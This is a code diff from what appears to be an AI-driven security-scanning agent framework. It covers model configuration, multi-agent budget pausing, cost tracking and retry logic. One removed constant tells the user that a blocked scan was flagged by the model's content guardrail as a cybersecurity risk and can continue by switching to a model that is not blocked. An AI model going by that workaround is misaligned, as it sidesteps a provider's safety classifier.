(("moonshot", "moonshotai", "kimi"), ("kimi-k3", "kimi-k2.7", "kimi-k2.6")),
|
||||
(("alibaba", "dashscope", "qwen"), ("qwen3.7", "qwen3.5", "qwen3-max")),
|
||||
(("moonshot", "moonshotai", "kimi"), ("kimi-k2.7", "kimi-k2.6", "kimi-k2.5")),
|
||||
)
|
||||
|
||||
|
||||
@@ -366,8 +117,6 @@ def configure_sdk_model_defaults(settings: Settings) -> None:
|
||||
"""Apply Strix config to SDK-native defaults."""
|
||||
llm = settings.llm
|
||||
set_tracing_disabled(True)
|
||||
if codex.subscription_model(llm.model):
|
||||
return
|
||||
_configure_litellm_compatibility()
|
||||
_configure_openrouter_attribution(llm.model)
|
||||
if llm.api_key:
|
||||
@@ -380,7 +129,6 @@ def configure_sdk_model_defaults(settings: Settings) -> None:
|
||||
set_default_openai_api("chat_completions")
|
||||
else:
|
||||
set_default_openai_api("responses")
|
||||
_configure_extra_headers(llm)
|
||||
|
||||
|
||||
def _mirror_api_key_to_provider_env(model_name: str | None, api_key: str) -> None:
|
||||
@@ -415,51 +163,6 @@ def _configure_litellm_compatibility() -> None:
|
||||
litellm.suppress_debug_info = True
|
||||
|
||||
_register_litellm_cost_callback()
|
||||
_install_openrouter_stream_cost_capture()
|
||||
|
||||
|
||||
def _install_openrouter_stream_cost_capture() -> None:
|
||||
"""Preserve OpenRouter's per-stream cost, which LiteLLM drops when streaming.
|
||||
|
||||
OpenRouter reports the real charge in ``usage.cost`` of the final stream
|
||||
chunk, but LiteLLM rebuilds streamed responses from token-only fields and
|
||||
discards it (its non-streamed path stashes the cost in hidden params; the
|
||||
streaming path does not). Every scan streams, so without this the cost is
|
||||
lost and Strix falls back to a cost-map estimate that is missing entirely
|
||||
for new models (e.g. kimi-k3), reporting $0. Subclass the OpenRouter
|
||||
streaming handler to record the cost keyed by response id so the cost
|
||||
callback can recover the exact charge for the matching rebuilt response.
|
||||
"""
|
||||
import litellm
|
||||
from litellm.llms.openrouter.chat.transformation import (
|
||||
OpenRouterChatCompletionStreamingHandler,
|
||||
OpenrouterConfig,
|
||||
)
|
||||
|
||||
from strix.report.state import streamed_openrouter_costs
|
||||
|
||||
class _StrixOpenRouterStreamingHandler(OpenRouterChatCompletionStreamingHandler):
|
||||
def chunk_parser(self, chunk: dict[str, Any]) -> Any:
|
||||
stream = super().chunk_parser(chunk)
|
||||
streamed_openrouter_costs.remember(
|
||||
chunk.get("id") or getattr(stream, "id", None), chunk.get("usage")
|
||||
)
|
||||
return stream
|
||||
|
||||
class _StrixOpenrouterConfig(OpenrouterConfig):
|
||||
def get_model_response_iterator(
|
||||
self, streaming_response: Any, sync_stream: bool, json_mode: bool | None = False
|
||||
) -> Any:
|
||||
return _StrixOpenRouterStreamingHandler(
|
||||
streaming_response=streaming_response,
|
||||
sync_stream=sync_stream,
|
||||
json_mode=json_mode,
|
||||
)
|
||||
|
||||
# LiteLLM's provider-config factory reads litellm.OpenrouterConfig at call
|
||||
# time, so overriding the attribute is enough for the subclass to take
|
||||
# effect. (type: ignore — mypy rejects reassigning a class attribute.)
|
||||
litellm.OpenrouterConfig = _StrixOpenrouterConfig # type: ignore[misc]
|
||||
|
||||
|
||||
_OPENROUTER_ATTRIBUTION_HEADERS = {
|
||||
@@ -485,43 +188,6 @@ def _configure_openrouter_attribution(model_name: str | None) -> None:
|
||||
litellm.headers = {**existing, **_OPENROUTER_ATTRIBUTION_HEADERS} # type: ignore[assignment]
|
||||
|
||||
|
||||
def _configure_extra_headers(llm: LlmSettings) -> None:
|
||||
"""Send user-provided default headers on every LLM request.
|
||||
|
||||
Some OpenAI-compatible endpoints require extra HTTP headers (e.g. request
|
||||
attribution or tenant routing) alongside the bearer token. Users supply
|
||||
them via ``LLM_EXTRA_HEADERS``; they are applied to both routing paths:
|
||||
the LiteLLM route (``litellm.headers``) and the SDK-native OpenAI route
|
||||
(a default client carrying ``default_headers``), so they take effect
|
||||
regardless of the ``STRIX_LLM`` prefix.
|
||||
"""
|
||||
headers = llm.extra_headers
|
||||
if not headers:
|
||||
return
|
||||
_merge_litellm_headers(headers)
|
||||
_register_openai_client_with_headers(llm, headers)
|
||||
|
||||
|
||||
def _merge_litellm_headers(headers: dict[str, str]) -> None:
|
||||
import litellm
|
||||
|
||||
current: object = litellm.headers
|
||||
existing: dict[str, str] = current if isinstance(current, dict) else {}
|
||||
litellm.headers = {**existing, **headers} # type: ignore[assignment]
|
||||
|
||||
|
||||
def _register_openai_client_with_headers(llm: LlmSettings, headers: dict[str, str]) -> None:
|
||||
from agents import set_default_openai_client
|
||||
from openai import AsyncOpenAI
|
||||
|
||||
client = AsyncOpenAI(
|
||||
api_key=llm.api_key or "not-needed",
|
||||
base_url=llm.api_base,
|
||||
default_headers=dict(headers),
|
||||
)
|
||||
set_default_openai_client(client, use_for_tracing=False)
|
||||
|
||||
|
||||
def _register_litellm_cost_callback() -> None:
|
||||
import litellm
|
||||
|
||||
@@ -545,8 +211,6 @@ def _configure_litellm_default(name: str, value: str) -> None:
|
||||
|
||||
def uses_chat_completions_tool_schema(model_name: str, settings: Settings) -> bool:
|
||||
"""Return whether the resolved SDK route can only receive JSON function tools."""
|
||||
if codex.subscription_model(model_name):
|
||||
return False
|
||||
model = model_name.strip().lower()
|
||||
if "/" in model and not model.startswith("openai/"):
|
||||
return True
|
||||
@@ -649,45 +313,3 @@ def is_known_openai_bare_model(model_name: str) -> bool:
|
||||
return False
|
||||
entry = litellm.model_cost.get(name)
|
||||
return bool(entry and entry.get("litellm_provider") == "openai")
|
||||
|
||||
|
||||
def is_claude_model(model_name: str) -> bool:
|
||||
return "claude" in (model_name or "").strip().lower()
|
||||
|
||||
|
||||
def is_bedrock_route(model_name: str) -> bool:
|
||||
name = (model_name or "").strip().lower()
|
||||
return name.startswith("bedrock/") or "anthropic." in name
|
||||
|
||||
|
||||
def _prompt_cache_name_candidates(model_name: str) -> list[str]:
|
||||
# LiteLLM's model map keys the same model under several names; strip the
|
||||
# route prefix, then leading dotted segments (region, provider).
|
||||
name = (model_name or "").strip().lower()
|
||||
for prefix in ("litellm/", "bedrock/"):
|
||||
if name.startswith(prefix):
|
||||
name = name[len(prefix) :]
|
||||
break
|
||||
candidates = [name]
|
||||
rest = name
|
||||
while "." in rest:
|
||||
rest = rest.split(".", 1)[1]
|
||||
candidates.append(rest)
|
||||
return candidates
|
||||
|
||||
|
||||
def bedrock_route_supports_prompt_caching(model_name: str) -> bool:
|
||||
# Bedrock rejects the cache marker for models LiteLLM's map doesn't
|
||||
# recognise as cache-capable, so callers withhold it unless confirmed here.
|
||||
import litellm
|
||||
|
||||
checker = getattr(getattr(litellm, "utils", None), "supports_prompt_caching", None)
|
||||
for cand in _prompt_cache_name_candidates(model_name):
|
||||
if checker is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
if checker(cand):
|
||||
return True
|
||||
entry = litellm.model_cost.get(cand)
|
||||
if entry and entry.get("supports_prompt_caching"):
|
||||
return True
|
||||
return False
|
||||
|
||||
@@ -35,67 +35,19 @@ class LlmSettings(BaseSettings):
|
||||
"OLLAMA_API_BASE",
|
||||
),
|
||||
)
|
||||
extra_headers: dict[str, str] | None = Field(
|
||||
default=None,
|
||||
alias="LLM_EXTRA_HEADERS",
|
||||
)
|
||||
reasoning_effort: ReasoningEffort = Field(default="high", alias="STRIX_REASONING_EFFORT")
|
||||
force_required_tool_choice: bool = Field(
|
||||
default=False,
|
||||
alias="STRIX_FORCE_REQUIRED_TOOL_CHOICE",
|
||||
)
|
||||
prompt_cache: bool = Field(
|
||||
default=True,
|
||||
alias="STRIX_PROMPT_CACHE",
|
||||
)
|
||||
disable_streaming: bool = Field(
|
||||
default=False,
|
||||
alias="LLM_DISABLE_STREAMING",
|
||||
)
|
||||
timeout: int = Field(default=300, alias="LLM_TIMEOUT")
|
||||
|
||||
|
||||
class DedupeSettings(BaseSettings):
|
||||
model_config = _BASE_CONFIG
|
||||
|
||||
model: str | None = Field(default=None, alias="STRIX_DEDUPE_MODEL")
|
||||
reasoning_effort: ReasoningEffort | None = Field(
|
||||
default=None,
|
||||
alias="STRIX_DEDUPE_REASONING_EFFORT",
|
||||
)
|
||||
api_key: str | None = Field(default=None, alias="DEDUPE_LLM_API_KEY")
|
||||
api_base: str | None = Field(default=None, alias="DEDUPE_LLM_API_BASE")
|
||||
extra_headers: dict[str, str] | None = Field(
|
||||
default=None,
|
||||
alias="DEDUPE_LLM_EXTRA_HEADERS",
|
||||
)
|
||||
|
||||
|
||||
class ContextSettings(BaseSettings):
|
||||
"""Context-window management: per-tool-output caps and history compaction."""
|
||||
|
||||
model_config = _BASE_CONFIG
|
||||
|
||||
auto_compact: bool = Field(default=True, alias="STRIX_CONTEXT_AUTO_COMPACT")
|
||||
compact_buffer_tokens: int = Field(default=20_000, gt=0, alias="STRIX_CONTEXT_BUFFER_TOKENS")
|
||||
keep_tokens: int = Field(default=8_000, gt=0, alias="STRIX_CONTEXT_KEEP_TOKENS")
|
||||
fallback_context_tokens: int = Field(
|
||||
default=200_000, gt=0, alias="STRIX_CONTEXT_FALLBACK_TOKENS"
|
||||
)
|
||||
summary_max_tokens: int = Field(default=4_096, gt=0, alias="STRIX_CONTEXT_SUMMARY_TOKENS")
|
||||
tool_output_max_tokens: int = Field(default=8_000, gt=0, alias="STRIX_TOOL_OUTPUT_MAX_TOKENS")
|
||||
tool_output_max_lines: int = Field(default=2_000, gt=0, alias="STRIX_TOOL_OUTPUT_MAX_LINES")
|
||||
# Floor above the truncation-notice size so a preview always fits.
|
||||
tool_output_max_bytes: int = Field(
|
||||
default=50 * 1024, ge=1024, alias="STRIX_TOOL_OUTPUT_MAX_BYTES"
|
||||
)
|
||||
|
||||
|
||||
class RuntimeSettings(BaseSettings):
|
||||
model_config = _BASE_CONFIG
|
||||
|
||||
image: str = Field(
|
||||
default="ghcr.io/usestrix/strix-sandbox:1.1.0",
|
||||
default="ghcr.io/usestrix/strix-sandbox:1.0.0",
|
||||
alias="STRIX_IMAGE",
|
||||
)
|
||||
backend: str = Field(default="docker", alias="STRIX_RUNTIME_BACKEND")
|
||||
@@ -133,9 +85,7 @@ class Settings(BaseSettings):
|
||||
model_config = _BASE_CONFIG
|
||||
|
||||
llm: LlmSettings = Field(default_factory=LlmSettings)
|
||||
dedupe: DedupeSettings = Field(default_factory=DedupeSettings)
|
||||
runtime: RuntimeSettings = Field(default_factory=RuntimeSettings)
|
||||
context: ContextSettings = Field(default_factory=ContextSettings)
|
||||
telemetry: TelemetrySettings = Field(default_factory=TelemetrySettings)
|
||||
integrations: IntegrationSettings = Field(default_factory=IntegrationSettings)
|
||||
viewer: ViewerSettings = Field(default_factory=ViewerSettings)
|
||||
|
||||
+8
-104
@@ -14,15 +14,13 @@ from strix.core.sessions import session_write_lock
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Callable
|
||||
|
||||
from agents.items import TResponseInputItem
|
||||
from agents.memory import Session
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
Status = Literal["running", "waiting", "completed", "stopped", "crashed", "failed", "budget_paused"]
|
||||
Status = Literal["running", "waiting", "completed", "stopped", "crashed", "failed"]
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
@@ -43,15 +41,11 @@ class AgentCoordinator:
|
||||
self.names: dict[str, str] = {}
|
||||
self.metadata: dict[str, dict[str, Any]] = {}
|
||||
self.pending_counts: dict[str, int] = {}
|
||||
self.errors: dict[str, str] = {}
|
||||
self.runtimes: dict[str, AgentRuntime] = {}
|
||||
self._lock = asyncio.Lock()
|
||||
self._snapshot_path: Path | None = None
|
||||
self.is_shutting_down = False
|
||||
self._budget_stopped = False
|
||||
self._reserve_stopped = False
|
||||
self._budget_paused = False
|
||||
self._extend_budget: Callable[[], None] | None = None
|
||||
|
||||
def set_snapshot_path(self, path: Path) -> None:
|
||||
self._snapshot_path = path
|
||||
@@ -70,71 +64,6 @@ class AgentCoordinator:
|
||||
for runtime in self.runtimes.values():
|
||||
runtime.wake.set()
|
||||
|
||||
@property
|
||||
def reserve_stopped(self) -> bool:
|
||||
return self._reserve_stopped
|
||||
|
||||
@property
|
||||
def budget_paused(self) -> bool:
|
||||
return self._budget_paused
|
||||
|
||||
def set_budget_extender(self, extend: Callable[[], None]) -> None:
|
||||
self._extend_budget = extend
|
||||
|
||||
async def pause_for_budget(self, agent_id: str) -> None:
|
||||
async with self._lock:
|
||||
self._budget_paused = True
|
||||
await self.set_status(agent_id, "budget_paused")
|
||||
|
||||
async def resume_from_budget_pause(self, *, exclude: str | None = None) -> None:
|
||||
async with self._lock:
|
||||
if not self._budget_paused:
|
||||
return
|
||||
self._budget_paused = False
|
||||
paused = [aid for aid, status in self.statuses.items() if status == "budget_paused"]
|
||||
if self._extend_budget is not None:
|
||||
self._extend_budget()
|
||||
for aid in paused:
|
||||
await self.set_status(aid, "waiting")
|
||||
if aid != exclude:
|
||||
await self.send(
|
||||
aid,
|
||||
{
|
||||
"from": "system",
|
||||
"type": "budget_extended",
|
||||
"content": (
|
||||
"[Budget] The user extended the scan budget \u2014 continue your "
|
||||
"current task."
|
||||
),
|
||||
},
|
||||
)
|
||||
|
||||
async def reset_budget_stops(
|
||||
self,
|
||||
*,
|
||||
budget_stopped: bool,
|
||||
reserve_stopped: bool,
|
||||
budget_paused: bool = False,
|
||||
) -> None:
|
||||
async with self._lock:
|
||||
self._budget_stopped = budget_stopped
|
||||
self._reserve_stopped = reserve_stopped
|
||||
if not budget_paused:
|
||||
self._budget_paused = False
|
||||
for aid, status in self.statuses.items():
|
||||
if status == "budget_paused":
|
||||
self.statuses[aid] = "waiting"
|
||||
await self._maybe_snapshot()
|
||||
|
||||
async def claim_reserve_notification(self) -> str | None:
|
||||
async with self._lock:
|
||||
if self._reserve_stopped:
|
||||
return None
|
||||
self._reserve_stopped = True
|
||||
for runtime in self.runtimes.values():
|
||||
runtime.wake.set()
|
||||
return next((aid for aid, parent in self.parent_of.items() if parent is None), None)
|
||||
|
||||
async def register(
|
||||
self,
|
||||
agent_id: str,
|
||||
@@ -178,34 +107,23 @@ class AgentCoordinator:
|
||||
async with self._lock:
|
||||
if agent_id in self.statuses:
|
||||
self.statuses[agent_id] = "running"
|
||||
self.errors.pop(agent_id, None)
|
||||
await self._maybe_snapshot()
|
||||
|
||||
async def park_waiting(self, agent_id: str) -> None:
|
||||
await self.set_status(agent_id, "waiting")
|
||||
|
||||
async def set_status(
|
||||
self, agent_id: str, status: Status | str, *, error: str | None = None
|
||||
) -> None:
|
||||
async def set_status(self, agent_id: str, status: Status | str) -> None:
|
||||
async with self._lock:
|
||||
if agent_id not in self.statuses:
|
||||
return
|
||||
self.statuses[agent_id] = status # type: ignore[assignment]
|
||||
if error is not None:
|
||||
self.errors[agent_id] = error
|
||||
elif status == "running":
|
||||
self.errors.pop(agent_id, None)
|
||||
runtime = self.runtimes.setdefault(agent_id, AgentRuntime())
|
||||
runtime.wake.set()
|
||||
logger.info("agent.status %s=%s", agent_id, status)
|
||||
await self._maybe_snapshot()
|
||||
|
||||
async def send(
|
||||
self, target_agent_id: str, message: dict[str, Any], *, interrupt: bool = True
|
||||
) -> bool:
|
||||
async def send(self, target_agent_id: str, message: dict[str, Any]) -> bool:
|
||||
"""Deliver a user/peer message by appending it to the target SDK session."""
|
||||
if message.get("from") == "user" and self._budget_paused:
|
||||
await self.resume_from_budget_pause(exclude=target_agent_id)
|
||||
async with self._lock:
|
||||
if target_agent_id not in self.statuses:
|
||||
logger.debug("agent.send dropped unknown target=%s", target_agent_id)
|
||||
@@ -213,7 +131,7 @@ class AgentCoordinator:
|
||||
runtime = self.runtimes.setdefault(target_agent_id, AgentRuntime())
|
||||
session = runtime.session
|
||||
stream = runtime.stream
|
||||
interrupt_on_message = runtime.interrupt_on_message
|
||||
interrupt = runtime.interrupt_on_message
|
||||
if session is None:
|
||||
logger.warning(
|
||||
"agent.send dropped target=%s because its SDK session is not attached",
|
||||
@@ -232,7 +150,7 @@ class AgentCoordinator:
|
||||
async with self._lock:
|
||||
self.pending_counts[target_agent_id] = self.pending_counts.get(target_agent_id, 0) + 1
|
||||
self.runtimes.setdefault(target_agent_id, AgentRuntime()).wake.set()
|
||||
if stream is not None and interrupt and interrupt_on_message:
|
||||
if stream is not None and interrupt:
|
||||
stream.cancel(mode="immediate")
|
||||
await self._maybe_snapshot()
|
||||
return True
|
||||
@@ -240,8 +158,7 @@ class AgentCoordinator:
|
||||
async def wait_for_message(self, agent_id: str) -> None:
|
||||
while True:
|
||||
async with self._lock:
|
||||
reserve_exit = self._reserve_stopped and self.parent_of.get(agent_id) is not None
|
||||
if self._budget_stopped or reserve_exit or self.pending_counts.get(agent_id, 0) > 0:
|
||||
if self._budget_stopped or self.pending_counts.get(agent_id, 0) > 0:
|
||||
return
|
||||
wake = self.runtimes.setdefault(agent_id, AgentRuntime()).wake
|
||||
wake.clear()
|
||||
@@ -329,14 +246,9 @@ class AgentCoordinator:
|
||||
|
||||
async def graph_snapshot(
|
||||
self,
|
||||
) -> tuple[dict[str, str | None], dict[str, Status], dict[str, str], dict[str, str]]:
|
||||
) -> tuple[dict[str, str | None], dict[str, Status], dict[str, str]]:
|
||||
async with self._lock:
|
||||
return (
|
||||
dict(self.parent_of),
|
||||
dict(self.statuses),
|
||||
dict(self.names),
|
||||
dict(self.errors),
|
||||
)
|
||||
return dict(self.parent_of), dict(self.statuses), dict(self.names)
|
||||
|
||||
def _message_to_session_item(self, message: dict[str, Any]) -> TResponseInputItem:
|
||||
sender = str(message.get("from", "unknown"))
|
||||
@@ -374,10 +286,6 @@ class AgentCoordinator:
|
||||
"names": dict(self.names),
|
||||
"metadata": {aid: dict(md) for aid, md in self.metadata.items()},
|
||||
"pending_counts": dict(self.pending_counts),
|
||||
"errors": dict(self.errors),
|
||||
"budget_stopped": self._budget_stopped,
|
||||
"reserve_stopped": self._reserve_stopped,
|
||||
"budget_paused": self._budget_paused,
|
||||
}
|
||||
|
||||
async def restore(self, snap: dict[str, Any]) -> None:
|
||||
@@ -387,10 +295,6 @@ class AgentCoordinator:
|
||||
self.names = dict(snap.get("names", {}))
|
||||
self.metadata = {aid: dict(md) for aid, md in snap.get("metadata", {}).items()}
|
||||
self.pending_counts = dict(snap.get("pending_counts", {}))
|
||||
self.errors = dict(snap.get("errors", {}))
|
||||
self._budget_stopped = bool(snap.get("budget_stopped", False))
|
||||
self._reserve_stopped = bool(snap.get("reserve_stopped", False))
|
||||
self._budget_paused = bool(snap.get("budget_paused", False))
|
||||
for aid in self.statuses:
|
||||
self.runtimes.setdefault(aid, AgentRuntime())
|
||||
|
||||
|
||||
+44
-255
@@ -13,27 +13,15 @@ from agents import RunConfig, Runner
|
||||
from agents.exceptions import AgentsException, MaxTurnsExceeded, UserError
|
||||
from agents.sandbox.errors import ExecTransportError
|
||||
from docker import errors as docker_errors # type: ignore[import-untyped, unused-ignore]
|
||||
from openai import (
|
||||
APIConnectionError,
|
||||
APIError,
|
||||
APIStatusError,
|
||||
APITimeoutError,
|
||||
RateLimitError,
|
||||
)
|
||||
from openai import APIError
|
||||
|
||||
from strix.config import codex
|
||||
from strix.core.hooks import (
|
||||
BudgetExceededError,
|
||||
BudgetPausedError,
|
||||
SubagentBudgetReservedError,
|
||||
)
|
||||
from strix.core.hooks import BudgetExceededError
|
||||
from strix.core.inputs import child_initial_input
|
||||
from strix.core.sessions import (
|
||||
enforce_image_budget,
|
||||
open_agent_session,
|
||||
strip_all_images_from_session,
|
||||
)
|
||||
from strix.llm.compaction import is_context_overflow, maybe_compact
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
@@ -52,74 +40,6 @@ logger = logging.getLogger(__name__)
|
||||
StreamEventSink = Callable[[str, Any], None]
|
||||
|
||||
_INPUT_REJECTION_CODES = frozenset({400, 404, 422})
|
||||
_MAX_COMPACTIONS_PER_CYCLE = 2
|
||||
|
||||
|
||||
def _run_config_model(run_config: RunConfig) -> str | None:
|
||||
return run_config.model if isinstance(run_config.model, str) else None
|
||||
|
||||
|
||||
def _agent_instructions(agent: Any) -> str:
|
||||
instructions = getattr(agent, "instructions", None)
|
||||
return instructions if isinstance(instructions, str) else ""
|
||||
|
||||
|
||||
def _agent_tools_text(agent: Any) -> str:
|
||||
parts: list[str] = []
|
||||
for tool in getattr(agent, "tools", []) or []:
|
||||
name = getattr(tool, "name", "")
|
||||
description = getattr(tool, "description", "") or ""
|
||||
schema = getattr(tool, "params_json_schema", "") or ""
|
||||
parts.append(f"{name} {description} {schema}")
|
||||
return "\n".join(parts)
|
||||
|
||||
|
||||
async def _compact_session(
|
||||
agent: Any, session: Session, run_config: RunConfig, *, force: bool
|
||||
) -> bool:
|
||||
model = _run_config_model(run_config)
|
||||
if session is None or model is None:
|
||||
return False
|
||||
return await maybe_compact(
|
||||
session,
|
||||
model=model,
|
||||
instructions=_agent_instructions(agent),
|
||||
tools_text=_agent_tools_text(agent),
|
||||
force=force,
|
||||
)
|
||||
|
||||
|
||||
_GUARDRAIL_PARK_ERROR = (
|
||||
"Blocked by the model's content guardrail (flagged as a possible cybersecurity risk). "
|
||||
"Set STRIX_LLM to a model that isn't blocked and resume the scan to continue."
|
||||
)
|
||||
|
||||
_TRANSIENT_MODEL_STATUS_CODES = frozenset({408, 500, 502, 503, 504})
|
||||
_MAX_TRANSIENT_MODEL_RETRIES = 4
|
||||
_TRANSIENT_MODEL_RETRY_BASE_DELAY_S = 2.0
|
||||
_TRANSIENT_MODEL_RETRY_MAX_DELAY_S = 30.0
|
||||
|
||||
|
||||
def _model_error_status_code(exc: BaseException) -> int | None:
|
||||
code = getattr(exc, "status_code", None)
|
||||
return code if isinstance(code, int) else None
|
||||
|
||||
|
||||
def _is_transient_model_error(exc: BaseException) -> bool:
|
||||
if isinstance(exc, RateLimitError):
|
||||
return False
|
||||
if isinstance(exc, APITimeoutError | APIConnectionError):
|
||||
return True
|
||||
if isinstance(exc, APIStatusError):
|
||||
return exc.status_code in _TRANSIENT_MODEL_STATUS_CODES
|
||||
if isinstance(exc, APIError):
|
||||
return _model_error_status_code(exc) is None
|
||||
return False
|
||||
|
||||
|
||||
def _transient_model_retry_delay(attempt: int) -> float:
|
||||
delay = _TRANSIENT_MODEL_RETRY_BASE_DELAY_S * float(2 ** (attempt - 1))
|
||||
return min(delay, _TRANSIENT_MODEL_RETRY_MAX_DELAY_S)
|
||||
|
||||
|
||||
async def run_agent_loop(
|
||||
@@ -144,34 +64,21 @@ async def run_agent_loop(
|
||||
)
|
||||
result: RunResultBase | None = None
|
||||
|
||||
budget_stopped = coordinator.budget_stopped
|
||||
reserve_stopped = coordinator.reserve_stopped
|
||||
if budget_stopped:
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise BudgetExceededError("scan budget reached")
|
||||
if reserve_stopped and context.get("parent_id") is not None:
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise SubagentBudgetReservedError("scan reached the sub-agent budget reserve")
|
||||
|
||||
if reserve_stopped and start_parked and interactive and context.get("parent_id") is None:
|
||||
await coordinator.send(agent_id, _reserve_notice())
|
||||
|
||||
if not (start_parked and interactive):
|
||||
if interactive:
|
||||
with contextlib.suppress(BudgetPausedError):
|
||||
result = await _run_cycle(
|
||||
agent,
|
||||
coordinator,
|
||||
agent_id,
|
||||
input_data=initial_input,
|
||||
run_config=run_config,
|
||||
context=context,
|
||||
max_turns=max_turns,
|
||||
session=session,
|
||||
interactive=interactive,
|
||||
event_sink=event_sink,
|
||||
hooks=hooks,
|
||||
)
|
||||
result = await _run_cycle(
|
||||
agent,
|
||||
coordinator,
|
||||
agent_id,
|
||||
input_data=initial_input,
|
||||
run_config=run_config,
|
||||
context=context,
|
||||
max_turns=max_turns,
|
||||
session=session,
|
||||
interactive=interactive,
|
||||
event_sink=event_sink,
|
||||
hooks=hooks,
|
||||
)
|
||||
else:
|
||||
result = await _run_noninteractive_until_lifecycle(
|
||||
agent,
|
||||
@@ -199,25 +106,20 @@ async def run_agent_loop(
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise BudgetExceededError("scan budget reached")
|
||||
|
||||
if coordinator.reserve_stopped and context.get("parent_id") is not None:
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise SubagentBudgetReservedError("scan reached the sub-agent budget reserve")
|
||||
|
||||
await coordinator.consume_pending(agent_id)
|
||||
with contextlib.suppress(BudgetPausedError):
|
||||
result = await _run_cycle(
|
||||
agent,
|
||||
coordinator,
|
||||
agent_id,
|
||||
input_data=[],
|
||||
run_config=run_config,
|
||||
context=context,
|
||||
max_turns=max_turns,
|
||||
session=session,
|
||||
interactive=interactive,
|
||||
event_sink=event_sink,
|
||||
hooks=hooks,
|
||||
)
|
||||
result = await _run_cycle(
|
||||
agent,
|
||||
coordinator,
|
||||
agent_id,
|
||||
input_data=[],
|
||||
run_config=run_config,
|
||||
context=context,
|
||||
max_turns=max_turns,
|
||||
session=session,
|
||||
interactive=interactive,
|
||||
event_sink=event_sink,
|
||||
hooks=hooks,
|
||||
)
|
||||
|
||||
|
||||
async def spawn_child_agent(
|
||||
@@ -310,7 +212,6 @@ async def respawn_subagents(
|
||||
if coordinator.parent_of.get(aid) is None or aid == root_id:
|
||||
continue
|
||||
md["_restored_status"] = status
|
||||
md["_restored_error"] = coordinator.errors.get(aid)
|
||||
candidates.append(
|
||||
(
|
||||
aid,
|
||||
@@ -323,8 +224,7 @@ async def respawn_subagents(
|
||||
for child_id, name, parent_id, md in candidates:
|
||||
try:
|
||||
restored_status = str(md.get("_restored_status") or "running")
|
||||
recoverable_park = restored_status == "waiting" and bool(md.get("_restored_error"))
|
||||
start_parked = interactive and restored_status != "running" and not recoverable_park
|
||||
start_parked = interactive and restored_status != "running"
|
||||
|
||||
if start_parked:
|
||||
logger.warning(
|
||||
@@ -391,10 +291,6 @@ async def _run_noninteractive_until_lifecycle(
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise BudgetExceededError("scan budget reached")
|
||||
|
||||
if coordinator.reserve_stopped and context.get("parent_id") is not None:
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise SubagentBudgetReservedError("scan reached the sub-agent budget reserve")
|
||||
|
||||
result = await _run_cycle(
|
||||
agent,
|
||||
coordinator,
|
||||
@@ -425,7 +321,7 @@ async def _run_noninteractive_until_lifecycle(
|
||||
|
||||
if invalid_final_outputs >= invalid_final_output_limit:
|
||||
await coordinator.set_status(agent_id, "crashed")
|
||||
await _notify_parent_on_terminal(coordinator, agent_id, "crashed")
|
||||
await _notify_parent_on_crash(coordinator, agent_id, "crashed")
|
||||
raise MaxTurnsExceeded(
|
||||
"Agent exhausted non-interactive recovery attempts without calling "
|
||||
"finish_scan or agent_finish."
|
||||
@@ -454,8 +350,6 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
hooks: RunHooks[dict[str, Any]] | None,
|
||||
) -> RunResultBase | None:
|
||||
image_strips = 0
|
||||
compactions = 0
|
||||
model_retries = 0
|
||||
while True:
|
||||
try:
|
||||
await coordinator.mark_running(agent_id)
|
||||
@@ -466,10 +360,6 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
await enforce_image_budget(session, max_images)
|
||||
except Exception:
|
||||
logger.exception("image-budget enforcement failed for %s", agent_id)
|
||||
try:
|
||||
await _compact_session(agent, session, run_config, force=False)
|
||||
except Exception:
|
||||
logger.exception("proactive compaction failed for %s", agent_id)
|
||||
stream = Runner.run_streamed(
|
||||
agent,
|
||||
input=input_data,
|
||||
@@ -490,7 +380,9 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
logger.exception("stream event sink failed for %s", agent_id)
|
||||
if stream.run_loop_exception is not None:
|
||||
raise stream.run_loop_exception
|
||||
except (BudgetExceededError, BudgetPausedError, SubagentBudgetReservedError):
|
||||
except BudgetExceededError:
|
||||
# A RuntimeError subclass: re-raise explicitly so it is never
|
||||
# mistaken for the LiteLLM "after shutdown" race below.
|
||||
raise
|
||||
except RuntimeError as stream_exc:
|
||||
if "after shutdown" not in str(stream_exc):
|
||||
@@ -509,15 +401,6 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
)
|
||||
finally:
|
||||
await coordinator.detach_stream(agent_id, stream)
|
||||
except BudgetPausedError as exc:
|
||||
logger.info("agent %s paused at the scan budget limit: %s", agent_id, exc)
|
||||
await coordinator.pause_for_budget(agent_id)
|
||||
raise
|
||||
except SubagentBudgetReservedError as exc:
|
||||
logger.info("sub-agent %s stopped at the budget reserve: %s", agent_id, exc)
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
await _notify_root_on_budget_reserve(coordinator)
|
||||
raise
|
||||
except BudgetExceededError as exc:
|
||||
logger.info(
|
||||
"agent %s reached the scan budget limit; stopping the scan: %s", agent_id, exc
|
||||
@@ -545,45 +428,6 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
)
|
||||
input_data = []
|
||||
continue
|
||||
if (
|
||||
compactions < _MAX_COMPACTIONS_PER_CYCLE
|
||||
and session is not None
|
||||
and is_context_overflow(exc)
|
||||
):
|
||||
try:
|
||||
compacted = await _compact_session(agent, session, run_config, force=True)
|
||||
except Exception:
|
||||
logger.exception("overflow compaction recovery failed for %s", agent_id)
|
||||
compacted = False
|
||||
if compacted:
|
||||
compactions += 1
|
||||
logger.info(
|
||||
"Compacted %s session after context overflow; retrying (%d)",
|
||||
agent_id,
|
||||
compactions,
|
||||
)
|
||||
input_data = []
|
||||
continue
|
||||
if model_retries < _MAX_TRANSIENT_MODEL_RETRIES and _is_transient_model_error(exc):
|
||||
model_retries += 1
|
||||
delay = _transient_model_retry_delay(model_retries)
|
